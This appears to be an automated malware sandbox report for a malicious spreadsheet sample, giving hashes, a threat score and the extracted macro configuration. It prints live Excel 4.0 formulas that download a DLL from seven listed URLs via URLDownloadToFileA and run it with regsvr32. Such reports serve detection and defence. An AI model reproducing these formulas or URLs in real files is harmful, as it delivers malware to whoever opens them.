General
-
Target
9525bfde6d85d78704f426646b56bc76e578a2daeb8be36f1d8519f7fb236f81
-
Size
74KB
-
Sample
241119-nmrxrazqcp
-
MD5
5f8d4323c62e261d8603744f7da54e8d
-
SHA1
4588ec4b30b8eeeada9082a71f1ef30cfb8acbc0
-
SHA256
9525bfde6d85d78704f426646b56bc76e578a2daeb8be36f1d8519f7fb236f81
-
SHA512
986cf90cb0a3805e1c0996132509d227d09d8bb3c33c6c4eb89ec8563e0c45fb9e20875b5fb7c2c790e9525def8b2a30e448148986c15c612076fddea1f9da22
-
SSDEEP
1536:uS3FXUcSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsM7VI0E:N310tzSmICpH7OZuvZGsMnE
Malware Config
Extracted
http://praachichemfood.com/wp-content/lcT43/
http://support.techopesolutions.com/application/zTAIK6GZ8I6zSLk/
http://vulkanvegasbonus.jeunete.com/wp-content/vsQ3Jp0XRqEqsVu/
http://aesiafrique.com/azerty/iTbkP5mpqK/
http://abildtrup.eu/wordpress/H0uDBpR/
http://aaticd.co.za/wp-content/6JENALSdgs0RAPqV20z/
http://actua.dk/res/EaoItn4LAZOeLFrFL/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://praachichemfood.com/wp-content/lcT43/","..\fbd.dll",0,0) =IF('EGVEB'!D9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/application/zTAIK6GZ8I6zSLk/","..\fbd.dll",0,0)) =IF('EGVEB'!D11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vulkanvegasbonus.jeunete.com/wp-content/vsQ3Jp0XRqEqsVu/","..\fbd.dll",0,0)) =IF('EGVEB'!D13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aesiafrique.com/azerty/iTbkP5mpqK/","..\fbd.dll",0,0)) =IF('EGVEB'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abildtrup.eu/wordpress/H0uDBpR/","..\fbd.dll",0,0)) =IF('EGVEB'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aaticd.co.za/wp-content/6JENALSdgs0RAPqV20z/","..\fbd.dll",0,0)) =IF('EGVEB'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://actua.dk/res/EaoItn4LAZOeLFrFL/","..\fbd.dll",0,0)) =IF('EGVEB'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\fbd.dll") =RETURN()
Extracted
http://praachichemfood.com/wp-content/lcT43/
Targets
-
-
Target
9525bfde6d85d78704f426646b56bc76e578a2daeb8be36f1d8519f7fb236f81
-
Size
74KB
-
MD5
5f8d4323c62e261d8603744f7da54e8d
-
SHA1
4588ec4b30b8eeeada9082a71f1ef30cfb8acbc0
-
SHA256
9525bfde6d85d78704f426646b56bc76e578a2daeb8be36f1d8519f7fb236f81
-
SHA512
986cf90cb0a3805e1c0996132509d227d09d8bb3c33c6c4eb89ec8563e0c45fb9e20875b5fb7c2c790e9525def8b2a30e448148986c15c612076fddea1f9da22
-
SSDEEP
1536:uS3FXUcSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsM7VI0E:N310tzSmICpH7OZuvZGsMnE
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-